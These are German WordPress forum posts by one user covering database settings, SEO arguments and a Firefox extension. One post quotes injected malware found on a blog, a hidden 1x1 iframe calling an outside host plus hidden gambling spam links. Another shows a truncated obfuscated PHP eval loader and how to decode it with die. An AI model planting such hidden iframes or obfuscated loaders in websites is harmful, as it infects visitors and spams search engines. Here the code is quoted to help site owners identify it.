Beiträge von Alphawolf

In der Datenbank-Tabelle wp_options wirst du fündig werden. :)

Hmm, laut dieser Tabelle Rollen und Befugnisse − WordDoku sollten sie es können dürfen... entspräche dem deutschen Pendant 'Herausgeber'?

Habe es gerade einmal testweise versucht, und konnte einen Admin-Beitrag editieren und speichern.

Der Schadcode ist folgender:

<!-- Traffic Statistics -->
<iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!-- End Traffic Statistics -->
<noscript>Ein Bluff beimm <a href="http://www.edsab.com">online poker</a> fliegt also nicht auf.</noscript><noscript>Sie bieten eine enorme Wahl aus allen popularen <a href="http://www.eigeneer.com">casino</a>.</noscript>

Mein AntiVir meldete sich mit einer schönen Nachtmusik... :)

Zitat von spickzettel

Function Reference « WordPress Codex könnte helfen...

Ist glaube ich eher für Plugin-Entwickler... :)

reboot: Funktionen, die du im Template verwenden kannst: Template Tags « WordPress Codex

TYPO3 hat Login-, FAQ-, News- und DMS- (für Rechnungen) Fähigkeiten. Die Einarbeitung dauert im Vergleich zu anderen CMS recht lange, da es eine eigene Objektorientierte Scriptsprache mitbringt, dafür kann man aber mächtige Sachen damit machen. :)

Es gibt bei wpSEO eine Option "DC per robots-Metatag verhindern" oder so ähnlich. Die Checkbox muss du deaktivieren.

Zitat von redcat63

Es tut gut und ich lebe noch immer, wie man sieht. :-D

Das muss dann aber ein grausames Leben sein, oder? :( :mrgreen:

Seht's positiv... Vista kam mit einem Jahr Verspätung, und niemand hat danach gerufen. WordPress 2.5 können viele offenbar gar nicht abwarten. Spricht doch für das Reputée der Software... ;)

Zitat von msuess

Ach Alfawolf, dass is doch schon ein alter Hut.

Top 10 Ranking nur durch Content + Links? – Google analysiert auch die CMS-Software.

Sorry, aber da fehlt nachwievor der offizielle Beweis. ;) Dieser jemand sieht einfach Zugriffe auf /wp-login.php und nimmt nun an, dass Google das CMS auslesen will. Dass die wp-login.php in jedem Standard-Blog offen verlinkt ist, und der Google-Bot dem Link einfach nur folgt, scheint er gar nicht in Erwägung zu ziehen. ;) Es sind Vermutungen IMO.

Fakt ist, dass der Google-Bot gerne mal aus scheinbar scinnlosen Gründen wild drauf los crawlt (ein aktuelles Beispiel aus diesem Forum), und auch der Yahoo-Bot crawlt bei mir gerne mal /page/9999/... warum, kann ich nicht sagen.

Zitat von msuess

Warum sollte Google diese Unmengen von Daten sammeln, wenn es diese nicht nutzt?

Dass der Bot solche Daten vllt sammelt, kann ja möglich sein. Aber weshalb nach verwendetem CMS abstrafen? Das würde dem Sinn einer SuMa widersprechen, objektiv Daten zu listen. Wenn zwei AVs verschiedene CMS nutzen, warum sollten sie dann nach CMS abgestraft werden, und nicht nach Content? Wie gesagt, wäre IMO so, als würde die Polizei nur einen Raser anhalten, der Opel fährt, weil er Opel fährt und nicht weil er zu schnell war. :)

SEO ist ja gut und schön, aber ich würde mir nicht die Wahl meines CMS von einer SuMa vorschreiben lassen. Identischen Inhalt kann ich mit jedem CMS generieren, und das ist das was einen Bot interessiert/en sollte.

Für die ganz Ungeduldigen, die mal den neuen Admin-Bereich sehen wollen, hier (m)ein Testblog: WP2.5 Testblog › Anmelden
(natürlich mit eingeschränkten Rechten ;))

Benutzername: demo
Passwort: demo

[Suche] Definition von "irgendwie funkktioniert das nicht".
Kontakt bitte in http://forum.wordpress-deutschland.org/plugins-und-wi…llformular.html oder per Tel. CALL 0900-DEFINITION

Zahle gut. :)

Eine weitere Möglichkeit ist dies hier: Google mit Suchfeldern in den Serps

Obwohl die Seite, um die es bei mir geht, nicht sonderlich groß ist (~ 500 Seiten), weshalb die für mich sicherlich kein solches Suchfeld vorsehen werden.. :( :p

Triple Post, yay. :)

Da bald der WP2.5-Release ansteht, habe ich auch mein kleines Firefox-Plugin geupdated. In erster Linie wurden die Codex Link geupdated, die nun auch zu den WP2.5 Informationen des Codex' linken (obwohl diese noch nicht öffentlich sichtbar sind).

Neu sind auch die "Editor's Choice Links". Diese werden von extern als XML geliefert, so kann ich sie schneller updaten, wenn ich neue interessante Links finde, ohne die Extension aktualisieren zu müssen. Natürlich kann auch jedermann neue hilfreiche Links vorschlagen über die Extension oder die Plugin-Seite. :)

Auch neu ist, dass das Stausbar-Icon nun farblich anzeigt, ob die aktuell angezeigte Seite WordPress nutzt oder nicht.

Seit der vorigen Version ist das Plugin übrigens auch Firefox 3-kompatibel.

Einen weiteren Eindruck verschaffen die Screenshots.
[INDENT]Download und Informationen zu WordPress Helper[/INDENT]

Viel Spaß mit der Extension und wünsche einen schönen Abend. :)

Ich weiß nicht, welches die aktuellste Version ist, aber ich habe hier mal die Version 1.1 gepackt: http://www.schloebe.de/extern/navigo_1.1.zip

Datei-Backups legt WordPress automatisch hier an: WordPress Deutschland » Download :p

Runterladen, und neu aufspielen.. dein Blog geht dadurch nicht verloren, da alles in einer Datenbank steht.

Zitat von msuess

Tatsache ist allerdings, dass Google sich genau anschaut, ob und welches System verwendet wird. Warum sollte Big G das sonst tun?

Kannst du diese "Tatsache" belegen? ;)

Dass sie ihren Bot auch solche Daten mit übermitteln lassen, mag sein, aber diese Daten als Kriterium für Abstrafungen zu nutzen, halte ich wie Monika für ein Gerücht.

Ich kenne solch eine Option nicht, habe WP 1.5.2 aber auch nie benutzt. Vielleicht war das ein Plugin, das durch das Update nicht mehr kompatibel und somit deaktiviert worden ist?

Grob gesagt musst du
1. Die Highlighter im Contaxe-Benutzerbereich einrichten
2. Die ID deiner Highlighters im WP-Contaxe-Plugin eintragen
3. Alle weiteren Einstellungen in den Plugin-Optionen vornehmen

<? eval(gzinflate(str_rot13(base64_decode('DZe3EoRJElJ/UtlXUgCDp0klFd57....')))); ?>

mit

<? die(gzinflate(str_rot13(base64_decode('DZe3EoRJElJ/UtlXUgCDp0klFd57....')))); ?>

ersetzen und du siehst den unverschlüsselten Code. ;)

Die Lightbox nimmer doch als Untertitel das title-Attribut des Bildes, oder irre ich mich? Da muss nix umgestellt werden. Die Bilder müssen nur einen Titel haben, dass haben sie auch einen Untertitel. :)